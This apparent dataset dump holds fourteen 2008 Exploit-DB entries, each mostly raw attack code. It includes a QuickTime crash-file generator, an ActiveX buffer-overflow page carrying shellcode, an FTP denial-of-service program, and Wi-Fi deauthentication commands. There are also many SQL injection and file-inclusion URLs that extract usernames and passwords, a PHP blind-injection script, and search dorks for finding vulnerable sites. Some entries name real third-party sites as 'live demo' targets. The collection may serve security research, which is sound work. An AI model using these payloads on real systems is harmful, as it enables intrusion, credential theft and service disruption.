QLWD/code_shield huggingface dataset:
标题: Apple QuickTime 7.5.5 / iTunes 8.0 - Remote Off-by-One Crash EDB-ID: 6471 CVE: 2008-4116 类型: DOS 平台: MULTIPLE 发布日期: 2008-09-16 漏洞利用脚本: ###############################################################################
# Quicktime7.5.5/Itunes 8.0 Remote Heap Overflow Crash
# Vendor: http://www.apple.com/
# Risk : high
#  
# The "<? quicktime type= ?>" tag fail to handle long strings, which can lead to a heap overflow in Quicktime/Itunes media player.
# This bug can be remote or local, Quicktime/Itunes parse any supplied file for  a reconized header even if the header is not  corresponding
# to the filetype, so you can put some xml in a mp4, mov,etc and open it with quicktime or you can do the same in some html page leading to a
# remote crash on firefox, IE and any browser using the Quicktime plugin.
# Code execution may be possible.
my $payload =
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x3f".
"\x3e\x0d\x0a\x3c\x3f\x71\x75\x69\x63\x6b\x74\x69\x6d\x65\x20\x74\x79\x70\x65\x3d".
"\x22\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x71\x75\x69\x63\x6b".
"\x74\x69\x6d\x65\x2d\x6d\x65\x64\x69\x61\x2d\x6c\x69\x6e\x6b\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3f\x3e".
"\x0d\x0a\x3c\x65\x6d\x62\x65\x64\x20\x73\x72\x63\x3d\x22\x72\x74\x73\x70\x3a\x2f".
"\x2f\x6e\x6f\x73\x69\x74\x65\x2e\x63\x6f\x6d\x2f\x6e\x6f\x76\x69\x64\x7a\x2e\x6d".
"\x6f\x76\x22\x20\x61\x75\x74\x6f\x70\x6c\x61\x79\x3d\x22\x77\x68\x61\x74\x65\x76".
"\x65\x72\x22\x20\x2f\x3e\x00";

my $file="crash.mov";
open(my $file, ">>$file") or die "Cannot open $file: $!";
print $file $payload;
close($file);

# milw0rm.com [2008-09-16] URL: https://www.exploit-db.com/exploits/6471
标题: Nokia e90/n82 (s60v3) - Remote Denial of Service EDB-ID: 6459 CVE: 2008-4135 类型: DOS 平台: HARDWARE 发布日期: 2008-09-14 漏洞利用脚本: Nokia E90 and probably other devices with s60v3 crashes with aireplay

The device should be authorised on an access point

sample: aireplay-ng -0 10 -a 00:74:3B:0C:A0:5A -c 00:2A:29:F3:1F:42 wlan0

My HW:

AP= Acorp w422g

Nokia E90 v 07.40.1.2 Ra-6

For attack realisation is necessary to send DeAuth a package on the attacked
device (to throw out it from an access point), then to continue to send
packages on the device.

the Device is crashed off right after repeated authorisation on an access
point

Vulnerability is fast shown at activity on WLAN

WLAN Settings: auto

I specify a harmful code: ./aireplay-ng -x 1024 -0 230 -a $ap -c $target
$iface

Added: the vulnerable device: Nokia N82

# milw0rm.com [2008-09-14] URL: https://www.exploit-db.com/exploits/6459
标题: Free PHP VX Guestbook 1.06 - Insecure Cookie Handling EDB-ID: 6457 CVE: 2008-7007 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-14 漏洞利用脚本: ###############################################################################################
[+] Free PHP VX Guestbook 1.06 Insecure Cookie Handling Vulnerability 
[+] Discovered By Stack                 
[+] Greetz : All my freind                
################################################################################################
---
exploit:
javascript:document.cookie = "admin_name=1; path=/"; document.cookie = "admin_pass=1; path=/";

# milw0rm.com [2008-09-14] URL: https://www.exploit-db.com/exploits/6457
标题: The Personal FTP Server 6.0f - RETR Denial of Service EDB-ID: 6458 CVE: 2008-4136 类型: DOS 平台: WINDOWS 发布日期: 2008-09-14 漏洞利用脚本: /*
*** The Personal FTP Server 6.0f RETR DOS exploit ***

A vulnerability exists in the way Personal FTP Server handles
multiple RETR commands with overly long filenames.When confronted
with such consecutive requests the server will crash.

Usage : ./pftpdos ip port user password
Ex. : ./pftpdos 127.0.0.1 21 test test

Personal FTP Server homepage: http://www.michael-roth-software.de/

Discovey + POC by Shinnok raydenxy [at] yahoo <dot> com
http://shinnok.evonet.ro

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <errno.h>

int
min (int x, int y)
{
    if (x < y)return x;
    else
    return y;
}
extern int errno;

int
main (int argc, char *argv[])
{
    struct sockaddr_in server;
    int i, t, s;
    char *req, *buff;
    s = socket (AF_INET, SOCK_STREAM, 0);
    bzero (&server, sizeof (server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr (argv[1]);
    server.sin_port = htons (atoi (argv[2]));
    connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
    req = malloc (sizeof (char) * \
    (((strlen (argv[3]) - strlen (argv[4])) + \
    min (strlen (argv[3]), strlen (argv[4])) + 8)));
    sprintf (req, "USER %s\xD\xA", argv[3]);
    write (s, req, strlen (req));
    sprintf (req, "PASS %s\xD\xA", argv[4]);
    write (s, req, strlen (req));
    free (req);
    for (i = 1; i <= 5; i++)
    {
        t = (sizeof (char) * 1000 * i);
        buff = malloc (t + 1);
        memset (buff, 'A', t);
        buff[t + 1] = '\0';
        req = malloc (t + 9);
        sprintf (req, "RETR %s\xD\xA", buff);
        if (write (s, req, strlen (req)) == -1)
        {
            perror (NULL);
            printf ("Target pwned!\n", errno);
        }
        free (req);
        free (buff);
        sleep (1);
    }
    close (s);
    return (EXIT_SUCCESS);
}

// milw0rm.com [2008-09-14] URL: https://www.exploit-db.com/exploits/6458
标题: pNews 2.03 - 'newsid' SQL Injection EDB-ID: 6447 CVE: 2008-4347 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Powie's pNews v2.03 (newskom.php?newsid=) Remote SQL Injection Exploit

#
# Vendor:  http://www.powie.de

# 
#
###########################################################
#
# d0rk:n/a
#
###########################################################
 
     Exploit:-
 http://www.site.com/[script]/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/*

     
     
     Live Demo: 
 http://www.uni-leipzig.de/fsrpowi/newskom.php?newsid=-1+union+all+select+1,2,3,4,concat(username,0x3a,pwd,0x3a),6+from+pl_user/*

     Admin panel is at http://site.com/script/admin/ 

     The password in in plain text :P 

###########################################################
#
#  Bug discovered : 12 Sep.2008
###########################################################

# milw0rm.com [2008-09-12] URL: https://www.exploit-db.com/exploits/6447
标题: Microsoft Windows Media Encoder (XP SP2) - 'wmex.dll' ActiveX Buffer Overflow (MS08-053) EDB-ID: 6454 CVE: 2008-3008 类型: REMOTE 平台: WINDOWS 发布日期: 2008-09-13 漏洞利用脚本: <html>
<pre>

 =============================================================================
 MS08-053 Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow  
 =============================================================================

 Calc execution POC Exploit for WinXP SP2 PRO English / IE6.0 SP2

 Found by   : Nguyen Minh Duc and Le Manh Tung
 Advisory   : http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx
 
 Exploit by : haluznik | haluznik<at>gmail.com

 09.10.2008 
 =============================================================================

<input language=JavaScript onclick=poc() type=button value="launch exploit">

<OBJECT id="target" classid="clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C">
</OBJECT>

<script>

function poc() {
 
var shellcode = unescape(
"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949" +
"%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41" +
"%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875" +
"%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b" +
"%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e" +
"%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a" +
"%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b" +
"%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b" +
"%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450" +
"%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770" +
"%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650" +
"%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a" +
"%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163" +
"%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c" +
"%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370");

var buff= "";
var nsp = unescape("%u06EB%u9090");
var sh = unescape("%u6950%u74C9");
var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090");

for (i=0;i<1638;i++)  buff=buff + unescape("%u4141");

buff = buff + nsp + sh + nop + shellcode;

target.GetDetailsString(buff,1);
}

</script>
</pre>
</html>

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6454
标题: Talkback 2.3.6 - Multiple Local File Inclusion / PHPInfo Disclosure Vulnerabilities EDB-ID: 6451 CVE: 2008-4346 2008-4115 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-13 漏洞利用脚本: ############################################################################################################
[+] Talkback 2.3.6 Multiple Local File Inclusion/PHPInfo Disclosure
[+] Discovered By SirGod 
[+] MorTal TeaM                     
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke                     
############################################################################################################

 [+] Local File Inclusion


   PoC 1 :

     http://[target]/[path]/comments.php?language=[Local File]%00

   Example 1 :
  
     http://127.0.0.1/talkback/comments.php?language=../../../../autoexec.bat%00


   PoC 2 :

     http://[target]/[path]/install/help.php?language=[Local File]%00

   Example 2 :

     http://127.0.0.1/talkback/install/help.php?language=../../../../../autoexec.bat%00



 [+] PHPInfo Disclosure


   PoC:

     http://[target]/[path]/install/info.php

   Example :

     http://127.0.0.1/talkback/install/info.php


##############################################################################################################

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6451
标题: Linkarity - 'link.php' SQL Injection EDB-ID: 6455 CVE: 2008-4353 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-13 漏洞利用脚本: ================================================================================
  Linkarity (link.php) Remote SQL Injection Vulnerability   
================================================================================



Discovered By: Egypt Coder

home : WWW.Sec-Area.com

Mail: Egyptcoder@hotmail.com



Dork:  Powered by: Linkarityâ„¢


Exploit :

http://localhost/link.php?cat_id=-1+union+select+1,2,3,4,5,6,7,8,version(),version(),11,12,13,14,15,16,17,18



Greets : ProViDoR , rUnViruS, Error Code, H666p , Fear Master , Broken Security

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6455
标题: Kasseler CMS 1.1.0/1.2.0 Lite - SQL Injection EDB-ID: 6460 CVE: 2008-4356 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-14 漏洞利用脚本: Kasseler CMS 1.1.0, 1.2.0 Lite SQL Injection

Author: ~!Dok_tOR!~
Date found: 13.09.08
Product: Kasseler CMS
Version: 1.1.0, 1.2.4
URL: www.kasseler-cms.net
Vulnerability Class: SQL Injection

http://localhost/[installdir]/index.php?module=News&do=View&nid=1'+and+1=2+union+select+1,2,concat_ws(0x3a,user_name,user_password,user_email),4,user(),version(),7,8,9,10,11,12,database(),14,15,16,17,18+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Voting&do=Result&vid=1'+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,user(),6,version(),8,9,10,11,12,13,14,15+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Forum&do=ShowForum&fid=1'+union+select+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,user(),database(),8,9,10,11,version(),13,14,15+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Forum&do=ShowTopic&tid=706'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,user(),9,10,11,version(),13,14,15,16,17,18+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=Account&do=UserInfo&uname=dok'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+kasseler_users+where+uid=1/*

http://localhost/[installdir]/index.php?module=TopSites+1'+and+1=2+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,5+from+kasseler_users+where+uid=1/*

# milw0rm.com [2008-09-14] URL: https://www.exploit-db.com/exploits/6460
标题: phpsmartcom 0.2 - Local File Inclusion / SQL Injection EDB-ID: 6452 CVE: 2008-4352 2008-4351 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-13 漏洞利用脚本: fphpSmartCom v. 0.2 Local File Inclusion , SQL Injection Vuln
 
Download : http://sourceforge.net/projects/phpsmartcom/
 
Local File Inclusion:
http://127.0.0.1/phpsmartcom/index.php?p=../../../../../boot.ini%00
 
SQL Injection:
http://localhost/phpsmartcom/index.php?p=viewprofile&uid=1'+union+select+1,uname,3,upwd,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+psc_users+where+uid=1+limit+1,1/*
 
Credits : Neo , R3dm0v3

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6452
标题: vbLOGIX Tutorial Script 1.0 - 'cat_id' SQL Injection EDB-ID: 6446 CVE: 2008-4350 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: #=====================================================================================================
#vbLOGIX Tutorial Script <= v1.0 (cat_id) Remote SQL Injection Exploit
#=====================================================================================================
#
#
#Venedor site : http://www.vblogix.com/
#
#Demo site: http://www.vb-demo.com/
#
#Version : v1.0
#
#=====================================================================================================
#
#DORK : no have
#
#
#Exploit :
#--------------------------------
# main.php?act=list&cat_id=-1+UNION+ALL+SELECT+concat(usrname,0x3a,psswd)+FROM+t_user/*
#
#=====================================================================================================
#Discoverd By : FIREH4CK3R
#
#Contact : firehacker_msn[at]hotmail.com
#
#Greetz To : FIREH4CK3R, Sh0rtKiller, Park, Dark, SecurityBR
#
#
#=====================================================================================================

# milw0rm.com [2008-09-12] URL: https://www.exploit-db.com/exploits/6446
标题: Free PHP VX Guestbook 1.06 - Arbitrary Database Backup EDB-ID: 6456 CVE: 2008-7006 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-13 漏洞利用脚本: ###############################################################################################
[+] Free PHP VX Guestbook 1.06 Arbitrary Backup Database
[+] Discovered By SirGod 
[+] wWw.MorTal-TeaM.OrG                   
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke                    
################################################################################################

 [+] Arbitrary Backup Database

  Follow the example and the database download will begin :

   [dbname]_db_backup.sql

 
  PoC :

    http://[target]/[path]/admin/backupdb.php

  Example :

    http://127.0.0.1/book/admin/backupdb.php

  Live Demo :

    http://phpversion.com/book/admin/backupdb.php


################################################################################################

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6456
标题: FoT Video scripti 1.1b - 'oyun' SQL Injection EDB-ID: 6453 CVE: 2008-4176 类型: WEBAPPS 平台: ASP 发布日期: 2008-09-13 漏洞利用脚本: **************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : biyosecurity.com & milw0rm.com & tryag.cc & All My Friends

**************************************************************************************
Script   : FoT Video scripti V1.1 Beta

**************************************************************************************

Exploit : For username

you can read username on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,KULLANICIADI,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Exploit : For Password(md5 hash)

you can read password on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,PAROLA,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Administrator Path

www.site.com/script_path/yonetim_default.asp

**************************************************************************************


Dork : inurl:"izle.asp?oyun=

**************************************************************************************

N0te : Hepinizn Aq :lol
**************************************************************************************

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6453
标题: pLink 2.07 - 'linkto.php' Blind SQL Injection EDB-ID: 6449 CVE: 2008-4357 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-13 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#             pLink 2.07 - Blind SQL Injection Exploit    
#                                                            
#      Vulnerability discovered by: Stack      
#      Exploit coded by:            Stack
#      Greetz to:                   All My Freind
#
###############################################################
#                                                            
#      Dork:        intext:"pLink 2.07"
#      Admin Panel: [Target]/link/
#      Usage:       php '.$argv[0].' [Target] [Userid]
#      Example for http://www.site.com/link/linkto.php?id=[Real id] 2
#      => php '.$argv[0].' http://www.site.com/link/linkto.php?id=128 2
#  Live Demo :
#   http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1/*"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0/*"));
$t = abs((100-($w/$r*100)));
echo "Password: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+pwd+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+pwd+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
echo "\nUsername: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$i.",1))!=0/*"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-09-13] URL: https://www.exploit-db.com/exploits/6449